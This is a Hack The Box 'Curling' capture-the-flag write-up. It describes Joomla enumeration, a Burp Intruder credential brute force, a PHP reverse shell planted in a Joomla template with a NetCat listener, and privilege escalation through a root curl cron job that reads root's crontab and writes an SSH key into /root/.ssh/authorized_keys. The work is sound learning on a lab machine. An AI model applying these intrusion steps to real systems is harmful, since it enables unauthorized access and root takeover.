Hack The Box Curling Writeup

Hack The Box Curling Writeup

Curling is an easy Linux box created by l4mpje on Hack The Box and was released in 2019. To complete this box it is recommended that you have enumeration skills. By completing this box you will learn cURL usage and how to analyze hex dumps. Hello world, welcome to Haxez where today I will be explaining how I hacked Curling.

Curling Enumeration

First I connected to the Hack The Box VPN and spawned the box. Once I received the IP address of the target, I pinged it from my attack box to check that I could talk to it. The ping came back with a time to live of 63. If I didn’t know it was Linux, I would now have a good idea as the default TTL is 64. With the formal greeting over with, it was time to start asking some personal questions. I interrogated the box with Nmap by scanning all ports and requesting service versions. Additionally, I told Nmap to hit it with all default scripts and gave it a minimum packet rate of 10,000 pps. That many packets per second isn’t recommended for corporate networks but as this is Hack The Box, YOLO.

The results came back and reported that ports 22 for OpenSSH 7.6 and 80 for Apache 2.4.29 were open. Furthermore, Nmap suspected that box was running Ubuntu. I could have added the -O flag here to perform more aggressive OS detection but I didn’t think it was needed. I now had two attack vectors. If SSH supported password authentication, I could use Hydra or CME to brute force the login. However, as I had no idea what the users were so that would have taken an eternity. Therefore, the path forward had to be the web application on port 80.

sudo nmap -sC -sV -p- --min-rate 10000 -oA Curling
Curling Enumeration

Curling Web Application Enumeration

I launched Burp Suite and opened the built-in browser. Sidenote, I like to use Burp even when not performing an attack as it records everything and builds a sitemap. I navigated to the IP address in the Burp browser and… nothing happened. Remember when I said earlier that a minimum packet rate of 10,000 packets per second wasn’t recommended? This is why, my Nmap results should have identified that the application was using the Joomla Content Management System. Instead, I think it straight-up DoS’d the box. Either that or something was wrong with my internet. I respawned the box and ran Nmap again. As you can see, it was running Joomla.

sudo nmap -sC -sV -p- -oA Curling2

Now that the box was playing nice, I headed to the IP address in the Burp browser again. Once the page loaded, the title immediately caught my eye. The title of the application was Cewl Curling Site. For those who aren’t cewl, cewl or custom wordlist generator is a ruby tool that crawls an application and produces a wordlist. It isn’t CMS or framework specific so you can use it against any application.

Curling Web Application Enumeration

Crawling With Cewl

It seemed pretty clear that the box creator wanted me to use cewl so that’s exactly what I did. I told cewl to write to an output file called cewl.txt. Then, I specified the IP address of the Curling box and was ready to go. However, since this is all about learning, I thought why not proxy it through Burp? For that reason, I added the proxy host and proxy port arguments and hit return. You can see from the screenshot below that cewl successfully created a wordlist that we might be able to use later. I haven’t included a screenshot of Burp because there isn’t much to show but it seemed to work fine.

cewl -w cewl.txt --proxy_host --proxy_port 8080
Crawling With Cewl

OWASP JoomScan

I thought it would be a good idea to gather some more information before I started battering the door down with the heavy artillery. The application could have had some form of web application firewall or brute force protection plugin. Furthermore, that plugin could ban IP addresses that it catches performing brute force attacks. OWASP JoomScan is a Perl tool that detects and analyses vulnerabilities associated with the Joomla Content Management System. I assume it was built by the OWASP foundation but you know what they say about assumptions. You can google that yourself if you’re interested.

I pointed JoomScan at the URL and told it to enumerate components. Additionally, I also told JoomScan to go through my Burp Suite proxy. I’m not sure whether this can impede the accuracy of the results, I sure hope not. However, I think it’s good practice to proxy your tools as it keeps an accurate record of everything sent to the application. You can then review the output to get a better understanding of what the tool is doing. Furthermore, if your boss looks through your tool output, it looks like you’ve actually done some work.

JoomScan reported back that it didn’t detect a firewall (good news) but that the core version wasn’t vulnerable (bad news). However, it did identify the administrator login portal (good news) and that there were several directories that had directory listing enabled (also good news).

joomscan -u -ec --proxy
Curling Joomscan

Crawling For Comments

I ran a few other tools against the application but they didn’t find what the creator intended us to find. To explain, every Web Application testing methodology will likely have a section in it for reviewing the page source manually. The reason for this is that developers may have left comments behind from the development process. There’s probably a tool out there that does it or you can do it manually by right-clicking the page and asking to view the page source. However, it’s Saturday morning and I don’t have much planned, so why not ask ChatGPT to build one? Everyone, I’d like to introduce you to… drum roll… comment crawler. Ok, it’s basic and doesn’t recursively crawl the application but it does what it needs to.


# Function to display a progress bar
function show_progress() {
  local progress
  local total_length
  local completed_length
  local bar_length
  local percentage

  completed_length=$((progress * total_length / 100))
  bar_length=$((total_length - completed_length))
  percentage=$((progress * 100 / total_length))

  printf "\r[%-${completed_length}s%${bar_length}s] %3d%%" "█" "" "$percentage"

# Print script name and ASCII art
echo "Comment Crawler"
echo ""
echo "   / \\"
echo "  [ o o ]"
echo "   \\=_=/"
echo "   /   \\"
echo "  /_____\\"
echo ""

# Check if URL/IP address is provided as an argument
if [ -z "$1" ]; then
  echo "Please provide a URL or IP address."
  exit 1

# Store the supplied URL/IP

# Fetch the page source
page_source=$(curl -s "$url_ip")

# Extract and report comments using grep
comments=$(echo "$page_source" | grep -oP '<!--[\s\S]*?-->')

# Check if any comments are found
if [ -z "$comments" ]; then
  echo "No comments found on $url_ip."
  echo "Comments found on $url_ip:"

  # Calculate total number of comments
  total_comments=$(echo "$comments" | wc -l)

  # Set initial progress to 0

  # Iterate through each comment and display progress bar
  while IFS= read -r comment; do
    echo "$comment"

    # Increment progress by 1 for each comment
    progress=$((progress + 1))

    # Display progress bar
    show_progress $((progress * 100 / total_comments))
  done <<< "$comments"

  # Move to the next line after the progress bar is complete
  echo ""

After running the tool against the target URL, I found a comment mentioning a file named secret.txt. I have no idea what the ASCII art is by the way, I asked ChatGPT to create some and this was the result. It looks like a rat wearing a party hat.

Comment Crawler

Anyway, navigating to secret.txt gave me the following string which I’m going to assume is the password for the login.


Curling Web Application Username Bruteforce

I could be barking up the wrong tree but I navigated to the administrator login and supplied some test credentials. I’m using the word test for the username and password here but it’s probably better to use something that you can easily filter for.

Curling Joomla Login Page

After clicking login, I headed to Burp and located the POST request that I just submitted. Then, I sent the request to the intruder tool and use the clear button to clear the automatically created payload points. Once the payloads were clear, I highlighted the value of the username and clicked add to add a payload point. Finally, I replaced the value of the password parameter with the value obtained from the secret.txt file.

Configuring Burp Intruder

Next, I navigated to the payloads tab and clicked load. Once the file manager window popped up, I navigated to the list that the cewl tool created for us earlier.

Curling Payload Configuration

I ran the attack and sorted by size hoping to see that one of the responses had a different size to the others. As I’m using the community version of Burp suite, the attack process is painfully slow compared to the professional version. I waited until the attack was complete and… nothing.


Decoding The Secrets Of Curling

Now, it’s at this point that you might go look for another attack vector. For example, you might go back to enumerating the box and waste countless hours running unnecessary tools. You might go tumbling down a rabbit hole like Alice and start wondering what you’re doing with your life. However, I didn’t do that. I base64 decoded the string to reveal the password of:

Curling Decoding Passowrd

I modified the request that I already had in the intruder tool. However, I probably should have sent a new request so that the different attack configurations are saved in the Burp file. Furthermore, it would have refreshed the cookie which could have timed out before I started the next attack. Anyway, I launched the attack again, and as you can see from the results below, the username Floris had a different response length than all the other responses. It’s a good bet that this is the correct username and password combination.

Burp Intruder Attack

Curling Foothold

The username and password combination was correct, and I could log in to the Administrator portal. Once logged in, I clicked the templates option under the configuration subheading on the left side of the page. Then, I clicked the protostar template and clicked the button to add a new file. I named the file haxez and selected the PHP file extension. Next, I populated the file with the pentestmonkey reverse shell and modified the IP address to my attack box.

I could have snuck a command shell into an existing template page but I try not to use command shells unless absolutely necessary. While the chances are almost non-existent, I don’t like the idea of intentionally creating a public-facing vulnerability that a threat actor could use to exploit a system. If you put a command shell on a client’s system and they don’t remove it, then someone finds it and exploits it… your legal team might be getting in touch. Using this reverse shell allows me to control who it connects back to.

I saved the file and then started a NetCat listener on port 443. Then, I used curl to request the file which caused the reverse shell to connect back to my listener. I now had a foothold on the box but sadly wasn’t able to capture the user flag.

sudo nc -lvnp 443                                
[sudo] password for kali: 
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 34606
Linux curling 4.15.0-156-generic #163-Ubuntu SMP Thu Aug 19 23:31:58 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
 11:02:08 up  2:32,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ cat /home/floris/user.txt
cat: /home/floris/user.txt: Permission denied

Curling System Enumeration

First things first, I upgrade my shell with the Python trick.

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@curling:/$ ^Z
zsh: suspended  sudo nc -lvnp 443                                                                                                                                     
└─$ stty raw -echo; fg
[1]  + continued  sudo nc -lvnp 443

While looking for the user flag, I noticed an interesting file in Floris’s home directory. The file was named password_backup and running the file command against it informed me that it was an ASCII text file. If I said I immediately knew what to do with this file, I would have been talking out of my backside. I genuinely had no idea. I knew what I was looking at but didn’t know what to do with it. How do you even ask Google what to do here? Google, wot do wit hex dump? I looked at the walkthrough.

Moving Laterally

This next step felt like a rabbit hole. I’ve been tricked by box creators on Hack The Box before. I base64 decoded a string about a billion times only to receive a cheeky message telling me it was a rabbit hole. Thanks for that. Anyway, this wasn’t a rabbit hole but it did require multiple steps to get a human-readable output. I’m not going to pretend I know the specifics of each format and how to decompress it. However, I will read about them later today once I run out of distractions. The process was as follows:

First, I ran xxd against the password_backup and redirected the output to a file called output. Then, I ran file against the output file which told me it was a bzip2 file.

www-data@curling:/tmp$ xxd -r password_backup > output
www-data@curling:/tmp$ file output
output: bzip2 compressed data, block size = 900k

After that, I ran bzcat on the on the output file and redirect the output to a file called output2. Then, I ran file against the output2 file which told me it was gzip compressed data.

www-data@curling:/tmp$ bzcat output > output2
www-data@curling:/tmp$ file output2
output2: gzip compressed data, was "password", last modified: Tue May 22 19:16:20 2018, from Unix

Next, I ran zcat against output2 and redirected the output to a file named output3. Running file against output3 told me it was a bzip2 file.

www-data@curling:/tmp$ zcat output2 > output3
www-data@curling:/tmp$ file output3
output3: bzip2 compressed data, block size = 900k

Are we there yet? I ran bzcat on output3 and redirect the output to a file named output4. File informed me that the format of output4 was a tar archive.

www-data@curling:/tmp$ bzcat output3 > output4
www-data@curling:/tmp$ file output4
output4: POSIX tar archive (GNU)

Finally, I extracted the archive with tar, and lo and behold, I had a human-readable file in the form of a password.txt file.

www-data@curling:/tmp$ tar -xf output4
www-data@curling:/tmp$ ls
output  output2  output3  output4  password.txt  password_backup
www-data@curling:/tmp$ cat password.txt
Curling System Enumeration

Then, I was able to SSH to the box as the user Floris and capture the user.txt flag.

└─$ ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-156-generic x86_64)
Last login: Wed Sep  8 11:42:07 2021 from
floris@curling:~$ cat ~/user.txt 

Curling More System Enumeration

This privilege escalation technique blew my mind when I saw IppSec do it so I want to repeat his method of rooting the box. You can see from the screenshot below that floris has a directory within her home directory owned by the root user but also owned by the floris group.

Dipping into that directory and viewing the contents of the files I noticed that the dates on the files were today’s date. Furthermore, whatever was specified in the input file, was output in the report file. Ok, bad explanation. Let me explain further, if I cat the input file you can see the following:

floris@curling:~/admin-area$ cat input
url = ""

Then when I cat the report file, I receive the page source of the web application hosted on the address.

floris@curling:~/admin-area$ cat report
<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
Analysing the files

To me, this suggested that there was a cronjob running that was executing something that looked to the input file for the value of a parameter. The contents of that file were then output to the report file. In order to test this theory, I span up a Python webserver on my attack box.

python3 -m http.server 80

Next, I modified the contents of the input file to point to my host’s IP address.

url = ""

Sure enough, after a moment or two, the target box sent a get request to my webserver. I checked the report file and it contained the 404 message produced by my webserver.

Get Request

Curling Privilege Escalation Setup

With the proof of concept confirmed, I assumed the cronjob was using curl and changed the command in the input file so that it would retrieve the root user’s cron. This worked, and as you can see from the screenshot below, it’s using the curl command with the -K argument to read arguments from a text file. It’s also writing the output to the report file with the -o argument. Then, underneath that, there is a cleanup script with a delay on it that reverts the input file back to its original state.

floris@curling:~/admin-area$ cat input
url = "file:///var/spool/cron/crontabs/root"
root crontab

Privilege Escalation Attempt 1

This is where it gets crazy! Following IppSec’s video, I copied the sudoers file on my attack box to my current working directory. Next, I edited the sudoers file and added floris as a sudo user under the root user.

# User privilege specification
root    ALL=(ALL:ALL) ALL
floris    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

Next, I saved the file and started my Python webserver again so that it was serving the sudoers file.

python3 -m http.server 80

With the server running, I switched to the target box tab where I was logged in as floris through SSH. I modified the input file so that it grabs the content of the sudoers file and saves it to /etc/sudoers.

url = ""
output = "/etc/sudoers"
user-agent = "haxez"

I then waited for the GET request to my webserver which it eventually did. Unfortunately, this method kept resulting in errors. I’ve seen other writeups where this worked so I’m not sure why this happened. I played with the permissions of the file on the attack box but nothing seemed to work.

Sudo file errors

Privilege Escalation Attempt 2

In the end, I did it the old-fashioned way and dropped a public key in the root user’s authorized_keys file. I generated a public and private key on my attack box and then served the public key with the Python webserver. Then, I modified the input file on the target machine and added the following code to it.

url = ""
output = "/root/.ssh/authorized_keys"
user-agent = "haxez"

I waited for the target to send the GET request to my attack box. After a few moments of suspenseful waiting, the request came in and resulted in an HTTP 200 message. You can see from the screenshot below that I was getting 404 errors on the sudoers due to permissions. I did fix it but it still didn’t work.

Curling GET request

Now for the moment of truth! I tried to SSH to the box as the root user with the private key. IT WORKED!

└─$ ssh -i root [email protected]                
Last login: Tue Aug  2 14:22:36 2022
root@curling:~# cat root.txt

Curling Learnings

In my opinion, this was a great box and was well thought out. The enumeration at the start had me checking everything. I tend to get lazy and miss things during the initial information-gathering phase so this helped me shine up those skills. I don’t often get to play with Joomla so getting to go in a tinker with it was fun. The reverse shell worked the first time and was solid. The method to get the password for lateral movement was interesting and gave me a good laugh.

I’m disappointed that I couldn’t get the initial privilege escalation method to work. I’m still not sure why it wasn’t working. I’ve stopped the box now but I should have gone back and checked the sudoers file to see what state it was in. Overall, I had a lot of fun with this box, and at no point did I get frustrated or have to step away from it. Everything went smoothly except for the final privilege escalation. Thanks for the box, it was a lot of fun.